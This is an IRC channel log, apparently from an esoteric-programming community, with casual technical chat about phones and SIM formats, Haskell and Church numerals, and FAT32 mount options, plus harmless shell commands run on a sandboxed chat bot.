11:30:19 Fun, gone. 11:33:35 -!- fungot has joined. 11:33:48 Fun, got. 11:34:53 fungot: fungellot. 11:34:54 boily: so be it. :( syntax-rules is too weak for them. i'm straight because that's what sicp is, eopl isn't. 11:38:46 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 11:44:41 hello 11:45:24 did i miss the fun? 11:45:30 :( 11:45:34 `? :( 11:45:51 ​:(? ¯\(°​_o)/¯ 11:48:21 -!- Melvar` has joined. 11:48:31 hi 11:48:43 melvar? 11:48:50 did you join to idle? 11:49:25 damn 11:49:36 Destructibello. 11:49:42 -!- Melvar has quit (Ping timeout: 276 seconds). 11:50:35 -!- zemhill__ has joined. 11:50:59 -!- tromp_ has joined. 11:51:54 -!- pikhq_ has joined. 11:53:07 -!- atehwa_ has joined. 11:53:23 -!- prooftechnique_ has joined. 11:53:33 -!- Lord_of_Life has quit (Ping timeout: 260 seconds). 11:53:34 -!- zemhill_ has quit (Ping timeout: 260 seconds). 11:53:35 -!- Xe has quit (Ping timeout: 260 seconds). 11:53:35 -!- feliks has quit (Ping timeout: 260 seconds). 11:53:35 -!- pikhq has quit (Ping timeout: 260 seconds). 11:53:36 -!- clog has quit (Ping timeout: 260 seconds). 11:53:36 -!- tromp has quit (Ping timeout: 260 seconds). 11:53:36 -!- prooftechnique has quit (Ping timeout: 260 seconds). 11:53:37 -!- atehwa has quit (Ping timeout: 260 seconds). 11:53:37 -!- nisstyre has quit (Ping timeout: 260 seconds). 11:53:39 -!- Lord_of_- has joined. 11:55:35 -!- nisstyre has joined. 11:55:47 -!- pelegreno_ has joined. 11:56:12 -!- fractal has quit (Ping timeout: 256 seconds). 11:56:14 -!- Xe has joined. 12:00:01 -!- lambdabot has quit (Read error: Connection reset by peer). 12:00:01 -!- pelegreno has quit (Ping timeout: 260 seconds). 12:00:26 -!- Destructible has quit (Ping timeout: 250 seconds). 12:02:56 -!- feliks has joined. 12:05:30 -!- lambdabot has joined. 12:11:33 -!- clog has joined. 12:14:35 -!- fractal has joined. 12:15:07 -!- gamemanj has joined. 12:22:49 -!- boily has quit (Quit: NUMISMATIC CHICKEN). 12:55:04 My phone doesn't like being back in Finland. :/ 12:55:12 The one with a Finnish SIM in it, that is. 12:55:38 It's been fine in UK in roaming mode, but now it's all "network not available" when it's back in the operator's own network. 12:56:55 can a comment on github link to an issue in a way that its status is visible? it seems a bit silly to comment on another issue just to get a mention, with status, in one's own. 13:02:51 well, why don't I try #github 13:25:24 fizzie: weird 13:25:32 fizzie: holidays? 13:27:44 -!- dnm has quit (Ping timeout: 240 seconds). 13:31:16 Trying to find a library to calculate sunset/sunrise times in erlang. Not hard to implement, but why reinvent the wheel. However googling for this turned out to be surprisingly difficult, due to mostly finding web site telling me when the sun sets in Erlang, China. Which is apparently a place 13:32:45 [wiki] [[BF+BF]] N https://esolangs.org/w/index.php?oldid=47136 * IAM * (+2213) Created page with "'''BF+BF''' is a esoteric programming language that is a combination of Befunge and Brainfuck Extended Type I. I don't have the time to write this fancily, so I'll just includ..." 13:33:32 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47137&oldid=47096 * IAM * (+12) 13:37:42 [wiki] [[User:IAM]] https://esolangs.org/w/index.php?diff=47138&oldid=46850 * IAM * (+13) 13:37:51 [wiki] [[User:IAM]] https://esolangs.org/w/index.php?diff=47139&oldid=47138 * IAM * (+2) 13:38:11 [wiki] [[BF+BF]] https://esolangs.org/w/index.php?diff=47140&oldid=47136 * IAM * (+13) 13:38:20 [wiki] [[BF+BF]] https://esolangs.org/w/index.php?diff=47141&oldid=47140 * IAM * (+2) 13:46:34 -!- evalj has joined. 13:47:31 ohi 13:50:38 \oren\: um, it seems some of the newer characters you've added to the font don't show up in http://www.orenwatson.be/fontdemo.htm , as if the font was older than the demo page 13:51:13 \oren\: ah, sorry, they're better now 13:51:15 after I reloaded 13:52:15 \oren\: oh nice, you've added some of the rarer CJK repetition markers 14:03:24 -!- Melvar` has quit (Ping timeout: 246 seconds). 14:04:38 -!- Melvar` has joined. 14:23:45 -!- Frooxius has quit (Quit: *bubbles away*). 14:24:10 -!- Frooxius has joined. 15:11:33 -!- idris-bot has joined. 15:12:28 -!- Melvar` has changed nick to Melvar. 15:42:24 Vorpal: Yes, and yes. The weird thing is, I swapped the SIM cards (one UK, one Finnish) between the two phones (Nexus 6, Nexus 5X) and now they're both happy. 15:44:25 And I don't think it's just the usual delay for registering to the network; I had been here for almost a day, and rebooted the phone a couple of times. 15:47:00 -!- xkapastel has joined. 15:55:09 -!- Kaynato has joined. 15:56:11 fizzie: Weird 15:56:37 Maybe it'll work if you swap again now 15:57:25 FreeFull: maybe the phones are locked to a provider? or one of the phones is old or something? 15:57:28 um 15:57:29 fizzie: ^ 15:57:30 I dunno 15:57:33 Possibly. I had similar trouble last time as well, again fixed by swapping, and then *un*fixed by swapping back. Then I just kept fiddling at it (including flashing a newer Android build on the phone) and eventually it started working. 15:57:38 They're both retail Nexus devices. 15:57:42 it might be just random stupidity of the phons 15:57:46 fizzie: how old are they? 15:57:49 Super weird 15:58:08 They're a 6 and a 5X. 15:58:28 fizzie: ok, now explain what that means to someone who doesn't follow android phone stuff. how old are they? 15:59:00 I don't really remember. 5X came out in 2015. 15:59:05 The 6 maybe in 2014. 15:59:20 ah, they're not even in order 15:59:21 ok 15:59:29 It's a size-related name. 16:00:12 ah, like with cards 16:00:13 cars 16:00:16 not cards, cars 16:00:38 although about cards, have they invented a sixth SIM card size yet? 16:00:44 The 5" Nexus 5 is older, the 6" Nexus 6 was I think 2014, and last year they released the pair of Nexus 5X (5.2") and Nexus 6P (...5.9"?) about the same size. 16:01:16 http://www.androidcentral.com/nexus-6 http://www.androidcentral.com/nexus-5x ... useful url scheme 16:01:42 I didn't even know they had a fifth. 16:01:51 october 2014; end of september 2015 16:01:57 https://en.wikipedia.org/wiki/Subscriber_identity_module#Formats 16:02:41 Does that eSIM thing even count? 16:02:49 fizzie: why wouldn't it count? 16:02:54 I think it counts 16:03:00 It's not a "card". 16:03:33 does that matter? 16:03:54 Well, you did say "SIM card size". 16:04:52 it still has the same functionality as a SIM card 16:04:54 hmm, at least it's a standardized format 16:04:56 I don't care what shape it has 16:05:23 the non-full-size SIMs aren't much of cards either 16:05:38 No, but at least they're the sort of thing you stick in a device. 16:05:44 Not something soldered in. 16:06:07 fizzie: I think they're only optionally soldered in 16:06:17 https://en.wikipedia.org/wiki/File:Embedded_SIM_from_M2M_supplier_Eseye_with_an_adapter_board_for_evaluation_in_a_Mini-SIM_socket_blurred.jpg looks like you could have a socket 16:06:42 yes, what int-e says 16:06:53 but it's hard to tell 16:07:10 but even if it has to be soldered in, it's functionally the same 16:07:12 "Photograph showing an Embedded SIM also known as a chip SIM as used in Machine to Machine (M2M) Applications on business card for scale. Also shows an adapter board to allow the embedded SIM card to be evaluated in a 2FF SIM socket." 16:07:13 just a bit harder to replace 16:08:28 Have it your way; I'll still consider there's 4 "SIM card sizes" the way I interpret it. 16:09:43 this is a bit like the Hitchhiker's trilogy. 16:09:46 `? covariant 16:09:48 `? contravariant 16:10:03 the term "card" becomes increasingly inapplicable 16:10:04 `? invariant 16:10:34 (oh I spelled that correctly) 16:10:47 HackEgovariant: adj., very slow. 16:11:23 covariant? ¯\(°​_o)/¯ 16:11:23 invariant? ¯\(°​_o)/¯ 16:11:23 contravariant? ¯\(°​_o)/¯ 16:11:42 Worth the wait. 16:11:44 `? variant 16:11:46 variant? ¯\(°​_o)/¯ 16:11:48 ah, CaC still provides me with the usual level of fun... "[142454.411715] EXT4-fs (dm-0): Remounting filesystem read-only" 16:12:50 http://sprunge.us/PITQ 16:12:56 -!- augur has joined. 16:25:24 So I think this is a Church numeral for Graham's number: 16:25:25 64 (\n -> pred n (\f b -> b f 3) (\b -> b 3)) 3 16:26:50 Lemme see. 16:26:57 (\b -> b 3) is the "3^" function. 16:28:11 That (\n ->) function there starts with the "3^" function and, (n-1) times, it replaces f with \b -> b f 3. 16:28:36 fungot, That (\n ->) function there starts with the "3^" function and, (n-1) times, it 16:28:36 b_jonas: usually i just mumble without directing the stuff to so many pieces left over :) 16:29:21 So, the first replacement turns it into \b -> b (3^) 3, which starts with 3 and then applies (3^) to it b times... 16:29:23 fizzie: weird, with the phone 16:29:28 So that's wrong, let me change it. 16:29:41 64 (\n -> pred n (\f b -> pred b f 3) (\b -> b 3)) 3 16:30:04 fungot, do you know what happened to fizzie's fone? 16:30:05 b_jonas: what are you using? it works on my data. i have really done is read part of church papers when he designed the entirety of the stack as if it were 16:30:36 Okay, so the first replacement turns it into \b -> pred b (3^) 3, which starts with 3 and then applies (3^) to it (b-1) times. So that gives you (3^^). 16:32:09 @pl \b -> pred b (3^) 3 -- which starts with 3 and then applies (3^) to it (b-1) times. So that gives you (3^^). 16:32:09 flip (flip pred (3 ^)) 3 16:34:25 The second replacement turns it into \b -> pred b (3^^) 3, which starts with 3 and applies (3^^) to it (b-1) times, so you have (3^^^). 16:34:51 @pl \b -> pred b (3^^) 3 -- , which starts with 3 and applies (3^^) to it (b-1) times, so you have (3^^^). 16:34:51 flip (flip pred (3 ^^)) 3 16:35:11 @pl 64 (\n -> pred n (\f b -> pred b f 3) (\b -> b 3)) 3 16:35:11 64 (flip (flip pred (flip flip 3 . flip pred)) ($ 3)) 3 16:36:02 One last correction, then it'll actually be correct. 16:36:06 64 (\n -> pred n (\f b -> pred b f 3) (\b -> b 3)) 4 16:36:20 @type 64 (\n -> pred n (\f b -> pred b f 3) (\b -> b 3)) 4 16:36:21 (Enum (t2 -> a -> t1), Enum ((t2 -> (t2 -> a -> t1) -> t1) -> ((a1 -> t3) -> t3) -> t), Num a, Num a1, Num a2, Num ((((t2 -> (t2 -> a -> t1) -> t1) -> ((a1 -> t3) -> t3) -> t) -> t) -> a2 -> t4)) => t4 16:38:33 @type let ch = undefined :: Int -> (a -> a) -> a -> a; pred = ((a -> a) -> a -> a) -> (a -> a) -> a -> a in ch 64 (\n -> pred n (\f b -> pred b f (ch 3)) (\b -> b (ch 3))) (ch 4) 16:38:34 parse error on input ‘->’ 16:38:53 Um. 16:39:03 @type let ch = undefined :: Int -> (a -> a) -> a -> a; pred = ((a -> a) -> a -> a) -> (a -> a) -> a -> a in 'x' 16:39:05 parse error on input ‘->’ 16:39:15 Whoops. 16:39:25 @type let ch = undefined :: Int -> (a -> a) -> a -> a; pred = undefined :: ((a -> a) -> a -> a) -> (a -> a) -> a -> a in ch 64 (\n -> pred n (\f b -> pred b f (ch 3)) (\b -> b (ch 3))) (ch 4) 16:39:26 Occurs check: cannot construct the infinite type: 16:39:26 a ~ (a -> a) -> a -> a 16:39:26 Expected type: ((((((a -> a) -> a -> a) -> (a -> a) -> a -> a) 16:42:12 @pl \n f x -> f (n f x) 16:42:12 ap (.) 16:43:10 -!- moon_ has joined. 16:43:11 @pl \n p f x = n f (p f x) 16:43:12 (line 1, column 10): 16:43:12 unexpected "=" 16:43:12 expecting pattern or "->" 16:43:20 @pl \n p f x -> n f (p f x) 16:43:20 liftM2 (.) 16:43:27 @pl \n p f x -> p f (n f x) 16:43:27 flip (liftM2 (.)) 16:43:35 @type liftM2 16:43:38 Monad m => (a1 -> a2 -> r) -> m a1 -> m a2 -> m r 16:43:47 @unpl liftM2 16:43:48 (\ c d e -> d >>= \ b -> e >>= \ a -> return (c b a)) 16:45:59 `ksh 16:46:03 just checking 16:46:05 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ksh: not found 16:46:13 kthx hackego 16:46:34 `` type -f bash 16:46:36 bash is /bin/bash 16:46:47 `` cd /bin; echo *sh 16:46:48 What does -f do on type? 16:46:48 bash dash rbash sh 16:46:58 Is it just me or is Erlang in love with global mutable variables (what Erlangers would call registering "processes" with "names") 16:47:05 tswett: type -f is which, more or less 16:47:14 `` type -f type 16:47:16 type is a shell builtin 16:47:23 `` type echo 16:47:25 echo is a shell builtin 16:47:28 `` type -f echo 16:47:29 oh. I failed to parse the question 16:47:30 echo is a shell builtin 16:47:37 fungot, is Erlang in love with global mutable variables? 16:47:37 b_jonas: can't assign to function call ( increasing the refcount) and fnord) system calls that increment and decrement by setting flags on its data about variables... 16:47:43 `8-ball is Erlang in love with global mutable variables? 16:47:45 Concentrate and ask again. 16:47:51 tswett: try type -a 16:47:56 `` type -a echo 16:47:58 echo is a shell builtin \ echo is /bin/echo 16:48:28 `` type bash; type -f bash 16:48:29 bash is /bin/bash \ bash is /bin/bash 16:48:40 I'm just gonna look it up. 16:48:58 `type -f cat 16:48:59 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: type: not found 16:49:12 `` type -f cat 16:49:13 cat is /bin/cat 16:49:31 `ls /bin 16:49:33 bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chgrp \ chmod \ chown \ cp \ cpio \ dash \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ findmnt \ fuser \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ kill \ kmod \ less \ 16:49:38 i wonder if it is re- oh yay' 16:49:41 "If the -f option is used, type does not attempt to find shell functions, as with the command builtin. " 16:50:11 Which is to say, the "command" builtin, not the command "builtin". 16:50:16 `mkdir /bin/test 16:50:18 mkdir: cannot create directory `/bin/test': Read-only file system 16:50:23 knew it 16:50:35 then why did you 16:50:46 its an expression 16:51:02 `8-ball what's with #esoteric today? 16:51:03 Very doubtful. 16:51:39 `8-ball Will you ever learn to use proper grammar? 16:51:40 My sources say no. 16:51:54 :< 16:52:19 >_< 16:52:40 @ [1..10] 16:52:50 thats the right bot i hope 16:53:08 >[1..10] 16:53:17 @[1..10] 16:53:17 Unknown command, try @list 16:53:28 oh, not haskal 16:53:30 you're so unlucky 16:53:39 > [1..10] 16:53:41 [1,2,3,4,5,6,7,8,9,10] 16:53:56 @run [1..10] 16:53:58 [1,2,3,4,5,6,7,8,9,10] 16:54:05 .-. 16:54:24 @help eval 16:54:24 eval. Do nothing (perversely) 16:54:35 @help run 16:54:35 run . You have Haskell, 3 seconds and no IO. Go nuts! 16:55:04 ok! 16:55:19 > [1,632422352..] 16:55:21 [1,632422352,1264844703,1897267054,2529689405,3162111756,3794534107,44269564... 17:00:07 -!- hwpplayer1 has joined. 17:00:11 hi 17:00:15 -!- augur has quit (Remote host closed the connection). 17:08:16 -!- augur has joined. 17:10:08 -!- Sgeo_ has joined. 17:10:41 -!- Sgeo has quit (Ping timeout: 240 seconds). 17:12:16 [wiki] [[Special:Log/newusers]] create * Quiqucode * New user account 17:14:08 lets hope we get someone to stick around 17:54:21 -!- iaglium has joined. 18:02:38 @eval "hi" 18:03:16 So, uh, is that what happens? 18:03:29 @eval undefined 18:04:02 NO MUCHO ESTÁ PASANDO 18:07:08 Hi 18:07:12 Hello iaglium 18:07:21 you new? never seen you before 18:16:19 On a fat32 filesystem, the file mtimes are recorded as local time. Whe mounting such a fs on linux, as type=vfat, how do I tell linux what timezone to use? That's probably impossible, because the kernel doesn't know about it, right? 18:16:34 Is there some other solution, like a user-space file system that knows about this? 18:32:10 -!- moony has quit (Ping timeout: 250 seconds). 18:32:34 -!- augur has quit (Remote host closed the connection). 18:33:01 -!- augur has joined. 18:33:11 run windows on GMT? (not really kidding, it's what I do to avoid a mess on DST switches) 18:34:22 int-e: windows isn't involved 18:34:30 int-e: the fat is written by a non-windows mobile phone 18:34:37 int-e: windows uses ntfs these days 18:35:32 int-e: it's phones and cameras and cash registers and those kinds of stuff that use FAT, and they still will be using them in 2097 when the fat date rolls around and people will find themselves with broken machines, way worse than in 2000 or in 2037 18:36:44 int-e: because software running on the cpu is easy to update, so people will get 64 bit dates in memory easily, but file system formats are hard to update, because you have to get many machines coordinated, and FAT in particular is very impossible to update, BECAUSE WINDOWS 95 ORS FILLED ALL THE 32 BYTES OF THE DIRECTORY ENTRY SO THERE'S ABSOLUTELY NO SPACE LEFT FOR A COMPATIBLE EXTENSION 18:36:47 looking at /usr/src/linux/Documentation/filesystems/vfat.txt , there's a timezone=UTC to tell the kernel to assume UTC; there's a time_offset=minutes to get a custom offset. 18:36:59 int-e: ah, thanks 18:37:18 -!- augur has quit (Ping timeout: 250 seconds). 18:37:35 wow, I should really use cut&paste 18:37:41 tz=UTC is what the first flag is 18:37:48 -!- moon_ has quit (Ping timeout: 250 seconds). 18:37:59 ah, and http://man7.org/linux/man-pages/man8/mount.8.html tells about tz=UTC , I should just look under type=fat (which type=vfat inherits from) rather than type=vfat 19:07:06 <\oren\> hint-e, b_jhellonas! 19:09:25 \oren\: hi 19:10:32 \oren\: I see you added three extra runes to your font from the Verne cryptogram: the G rune, the D rune, a variant C/K rune. 19:10:51 \oren\: but I have some questions. (1) in the demo page, what does red and yellow characters mean? I know the green means recently added 19:11:13 \oren\: and the other, do you have a brief description somewhere on what you're using each private use character for in your font? 19:11:41 <\oren\> red is characters that aren't real ones. yellow is new red ones. 19:12:03 <\oren\> That is a good idea, I'll add a description 19:12:11 um, what are they if not real ones? 19:12:59 and aren't the green ones the new ones? 19:17:09 <\oren\> the green and yellow are both new 19:17:21 <\oren\> the yellow and red are both non-unicode 19:17:38 \oren\: ah! 19:18:03 <\oren\> I've added a description of what I put in the PUA 19:18:12 \oren\: but then why aren't the "Extra non-standard characters for Commodore 64 charset 19:18:16 " red? 19:18:24 did you get those encoded in unicode or somethign/ 19:18:54 <\oren\> No that's just a mistakre 19:19:02 ok 19:26:48 -!- gamemanj has quit (Ping timeout: 246 seconds). 19:27:06 -!- gamemanj has joined. 19:32:08 -!- MDude has quit (Ping timeout: 272 seconds). 20:03:47 -!- iaglium has quit (Quit: ZNC 1.7.x-nightly-20160225-9b31a077 - http://znc.in). 20:08:53 -!- hwpplayer1 has quit (Quit: Leaving.). 20:12:54 -!- hwpplayer1 has joined. 20:15:36 -!- PinealGlandOptic has joined. 20:23:46 -!- hwpplayer1 has quit (Quit: Leaving.). 20:26:20 -!- hwpplayer1 has joined. 20:26:24 -!- hwpplayer1 has left. 20:28:05 -!- hwpplayer1 has joined. 20:28:28 -!- hwpplayer1 has left. 20:53:48 hate safehaskell 20:54:31 int-e: what's the reason this time 20:57:14 also hate lens 20:57:41 I'm trying to update lambdabot... which relies on safehaskell for... safety 20:57:55 and every time I do that there's a million modules in lens that can't be imported safely 21:12:05 `? time cube 21:12:24 EARTH HAS 4 CORNER SIMULTANEOUS 4-DAY TIME CUBE IN ONLY 24 HORU ROTATION. 4 CORNER DAYS, CUBES 4 QUAD EARTH. Bible A Lie & Word Is Lies. Navel Connects 4 Corner 4s. God Is Born Of A Mother - She Left Belly B. Signature. Your dirty lying teachers use only the midnight to midnight 1 day (ignoring 3 other days) Time to not foul (already wrong) bible t 21:39:01 (the real problem here is that tracking safe modules has virtually no tool support... I'm manually pasting import lines into ghci in order to figure out which modules are safe and which are not) 21:43:50 `? real problem 21:43:58 real problem? ¯\(°​_o)/¯ 21:45:41 `? backwards 21:45:44 backwards? ¯\(°​_o)/¯ 21:46:44 `run echo "¯\(o​_°)/¯ ?sdrawkcab" > wisdom/backward 21:46:52 No output. 21:47:09 Taneb: What, you don't believe in `mk? 21:47:23 shachaf, I don't believe in a lot of things 21:47:36 Do you believe in Set^op? 21:48:00 I do not even believe in Set 21:48:03 The thing I quoted in in #haskell-offtopic is p. neat. 21:48:38 I don't believe in #haskell-offtopic 21:48:42 -!- MoALTz has quit (Quit: Leaving). 21:57:54 in the end two modules needed to be patched... but I looked at 30 to figure out which of them are the root causes... 21:58:37 [wiki] [[Deadfish]] https://esolangs.org/w/index.php?diff=47142&oldid=46987 * Jacek Michalak * (+15) /* External resources */ 22:01:53 [wiki] [[Palindrome]] https://esolangs.org/w/index.php?diff=47143&oldid=25341 * Jacek Michalak * (+115) /* External resources */ 22:03:27 -!- gamemanj has quit (Ping timeout: 264 seconds). 22:09:48 shachaf: oh, that's the channel that got split off because there was a schism in #haskell-blah ? seriously, who's heard of such a thing, an off-topic channel getting so out of hand that half of them go found a new channel 22:09:58 `? #haskell-offtopic 22:10:01 `? #haskell-blah 22:10:02 `? #haskell 22:10:04 `? haskell 22:10:16 Why are you doing that when it's pretty certain they'll mostly not be found? 22:10:27 ​#haskell-offtopic? ¯\(°​_o)/¯ 22:10:29 ​#haskell-blah? ¯\(°​_o)/¯ 22:10:31 ​#haskell? ¯\(°​_o)/¯ 22:10:32 Unbound implicit parameter (?haskell::Wisdom) \ arising from a use of implicit parameter `?haskell' 22:10:55 The schism was that someone turned on the TLS-only flag. 22:11:02 shachaf: yeah, I knwo 22:11:06 -!- idris-bot has quit (Ping timeout: 276 seconds). 22:12:07 -!- Melvar has quit (Ping timeout: 260 seconds). 22:14:26 -!- PinealGlandOptic has quit (Quit: leaving). 22:26:54 -!- Melvar has joined. 22:27:47 shachaf, lol why would you do that 22:37:16 -!- dnm has joined. 22:44:53 -!- jaboja has joined. 23:28:14 `? Phantom_Hoover 23:28:27 Phantom Michael Hoover is a true Scotsman, hatheist, and completely out of the loop. 23:28:47 -!- Melvar` has joined. 23:29:50 What does "hatheist" mean, is that anything like "atheist"? (And does Scotish even have any true?) 23:31:39 -!- Melvar has quit (Ping timeout: 264 seconds). 23:31:48 Do you like Dungeons&Dragons game? 23:40:45 `? FreeFull 23:40:47 FreeFull is either full of freedom or free of fulldom, we are not sure. 23:41:31 zzo38, it's a ~5 year old in-joke 23:42:54 so there is this person on another channel, joining for the first time ever, asking for an isp that does not have ipv6 because it makes the output of netstat ugly ... 23:43:02 this is why we can't have nice things 23:44:15 The answer I recommend is "go fuck yourself". 23:44:23 -!- pikhq_ has changed nick to pikhq. 23:45:05 that was basically my answer 23:45:17 pretty aggressive 23:45:38 he got what he asked for 23:46:01 i thought he asked for an isp that [...] 23:46:02 -!- Melvar` has changed nick to Melvar. 23:46:40 subtext 23:46:52 he clearly.asked for a kick to the guts 23:47:00 i can't read that yet 23:48:04 "the output of netstat is ugly" is like the worst possible reason to cling to some shitload old technology that will be replaced sooner or later 23:48:37 maybe it was a made up reason to cover the actual reason that he's not allowed to share 23:48:46 -!- FreeFull has quit (Quit: rebooting). 23:48:53 not my problem 23:49:14 he also emphasizes on how he doesn't take advantages out of ipv6 23:50:55 Can you fix netstat? That is a separate problem. 23:51:42 i recommended a grep 23:52:13 myname: NO! netstat actually has options to filter by protocol 23:52:28 i don't care 23:52:55 his reason is rstupid no matter how easy or hard it is to change the output of netstat 23:53:01 myname: sure 23:53:21 myname: but I mean, using grep for that is as much of a crime as using grep on ps output 23:53:51 or possibly more because netstat is more expensive and invasive to processes' private file descriptors 23:53:59 b_jonas: i use grep on the output of find . because i always forget the correct arguments 2016-06-06: 00:40:29 -!- moon_ has joined. 00:42:28 `ls 00:42:35 ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf 00:42:59 `cat canary 00:43:00 cat: canary: No such file or directory 00:43:28 it lies' 00:43:45 `url imaginaryfile 00:43:47 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/imaginaryfile 00:43:48 `url canary 00:43:52 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/canary 00:44:45 `` for i in {1..10}; do echo -n $((RANDOM % 2)); done 00:44:46 01101100000 00:44:46 `` for i in {1..10}; do echo -n $((RANDOM % 2)); done 00:44:47 0101010000001 00:48:46 -!- oerjan has joined. 01:04:22 `brand 8 01:04:23 32435873 01:05:32 -!- copumpkin has joined. 01:06:15 Why are you modifying HackEgo in secret? 01:07:10 not to spam chat 01:07:14 as i work :P 01:08:35 `cat bin/brand 01:08:35 hehe 01:08:36 for i in {1..10}; do echo -n $((RANDOM % ($1+1))); done 01:08:41 we had this discussion we me as well 01:08:49 me modifying hackego in private message that is 01:08:50 `brand 3 01:08:51 1311310101 01:09:05 `brand 12 01:09:06 0310101215843 01:09:17 thats a good way to exceed the limit lol 01:09:25 What's the point? 01:09:29 Why did you make that command? 01:09:31 base-andom 01:09:42 ie random in base 2 or 3 for example 01:09:48 Yes, I know what it does. 01:09:58 But why would anyone want it? 01:10:05 I think that result is unambiguous. 0-3-10-10-12-1-5-8-4-3 01:11:07 -!- jaboja has quit (Remote host closed the connection). 01:11:32 `brand 12 01:11:35 34410781010710 01:12:02 -!- augur has joined. 01:13:38 tunes has been flaky today :( 01:14:08 ok back my personal win to bsd ftp server was having a fit 01:16:25 base n randomize 01:19:19 oerjan: how scary is Data.Coerce.coerce these days? 01:24:13 (as far as I can see it allows breaking abstractions with some abstract datatypes that don't have proper role annotiations... is there more?) 01:25:59 but it's kind of hard to condense https://ghc.haskell.org/trac/ghc/ticket/8827 and https://ghc.haskell.org/trac/ghc/wiki/SafeRoles into a simple answer :-/ 01:28:29 int-e: well afaiu the recursive check solution suggested in 8827 hasn't been implemented yet. 01:28:58 so it's still disallowed in Safe mode afaik 01:29:00 which means that constructor visibility is only taken into account for newtypes 01:29:10 I think. 01:29:39 probably. 01:30:31 Oh, Data.Coerce is still marked Unsafe... that's not the point. I've found a module that reexports it and wants to be trusted... 01:31:17 aha 01:31:34 ...and I'm just worried enough that I'm probably going to patch the code in question. 01:31:46 good 01:32:35 i'm not exactly sure how this works today - can you _use_ coerce just because it's imported safely? 01:32:48 -!- copumpkin has quit (Read error: Connection reset by peer). 01:33:15 because you also need the Coercible constraints. 01:36:26 But you don't have to write them... 01:37:04 no, but in the 8827 system i suggested deriving them would be the thing restricted, i think 01:37:10 er, *inferring 01:37:31 -!- copumpkin has joined. 01:37:31 doesn't seem to work that way... I think that was a hypothetical design 01:37:32 but i guess there's nothing right now. 01:37:33 how do i include source from one script into another? people ae saying you use 'source' but thats not a command 01:37:56 moon_: um, what's the context? what language? 01:38:00 bash 01:38:00 moon_: it's a bash internal command 01:38:01 lol 01:38:01 ``` help source 01:38:04 ``` help . 01:38:05 source: source filename [arguments] \ Execute commands from a file in the current shell. \ \ Read and execute commands from FILENAME in the current shell. The \ entries in $PATH are used to find the directory containing FILENAME. \ If any ARGUMENTS are supplied, they become the positional parameters \ when FILENAME is exec 01:38:06 ​.: . filename [arguments] \ Execute commands from a file in the current shell. \ \ Read and execute commands from FILENAME in the current shell. The \ entries in $PATH are used to find the directory containing FILENAME. \ If any ARGUMENTS are supplied, they become the positional parameters \ when FILENAME is executed. \ 01:38:17 oh thx 01:40:03 ``` type source 01:40:05 source is a shell builtin 01:40:50 why three `s? 01:40:55 `` type source 01:40:55 -!- evalj has quit (Remote host closed the connection). 01:40:56 source is a shell builtin 01:41:05 and honestly 01:41:07 you could just do 01:41:10 `type source 01:41:11 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: type: not found 01:41:20 lol 01:41:29 okay, or not 01:41:37 ```````` type source 01:41:39 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ```````: not found 01:41:43 that goes fo all shell builtins 01:41:50 ```` type source 01:41:51 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ```: not found 01:42:01 `` type `` 01:42:01 No output. 01:42:09 `` help `` 01:42:10 GNU bash, version 4.2.37(1)-release (x86_64-pc-linux-gnu) \ These shell commands are defined internally. Type `help' to see this list. \ Type `help name' to find out more about the function `name'. \ Use `info bash' to find out more about the shell in general. \ Use `man -k' or `info' to find out more about commands not in this list. \ \ A star ( 01:42:15 moon_: `s mean something to the shell 01:42:21 `` help `echo source` 01:42:22 source: source filename [arguments] \ Execute commands from a file in the current shell. \ \ Read and execute commands from FILENAME in the current shell. The \ entries in $PATH are used to find the directory containing FILENAME. \ If any ARGUMENTS are supplied, they become the positional parameters \ when FILENAME is exec 01:42:29 im cuious why two of them work 01:42:36 when one will do the same 01:42:38 well 01:42:45 -!- copumpkin has quit (Ping timeout: 244 seconds). 01:42:47 do you know what ` means to the shell? 01:42:55 nope! 01:43:08 ` means the output of whatever is inside of here 01:43:08 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 01:43:17 and $() does too 01:43:20 -!- augur has quit (Quit: Leaving...). 01:43:21 so `echo foo` 01:43:27 the output of echo foo is just "foo" 01:43:33 so `echo foo` gets turned into foo 01:43:42 `` there's nothing there 01:43:43 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 01:43:45 i see why two work now 01:43:52 so nothing gets outputted 01:43:59 so the shells just sees "help" 01:44:01 thx 01:44:01 or "type" 01:44:03 all by itself 01:45:04 So I thought of a rather ridiculous mathematical operation. It works on functions on double-precision floating point numbers. 01:45:10 It's the "bunk derivative". 01:45:19 what is it? 01:45:56 Given a function f, the bunk derivative f'(x) is (f(y) - f(x))/(y - x), where y is the lowest double-precision float which is greater than x. 01:46:48 oerjan: https://hackage.haskell.org/package/lens-4.14/docs/Control-Lens-Internal-Coerce.html is the evil one... now no longer trusted 01:47:09 Imagine, say, the bunk derivative of the function f(x) = 1.5x. 01:47:52 is this not just an odd finite derivative 01:48:14 Yeah. 01:48:54 I think that in the range [1,2], that bunk derivative is going to simply rapidly alternate between 1 and 2. 01:49:00 Elronnd: some people (i think zzo38) wanted a version of `` with C locale, so they created ```. although both have grown more cruft since then. 01:49:16 "C locale"? 01:49:18 ``` env 01:49:20 TERM=linux \ http_proxy=http://127.0.0.1:3128 \ HACKENV=/hackenv \ PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin \ 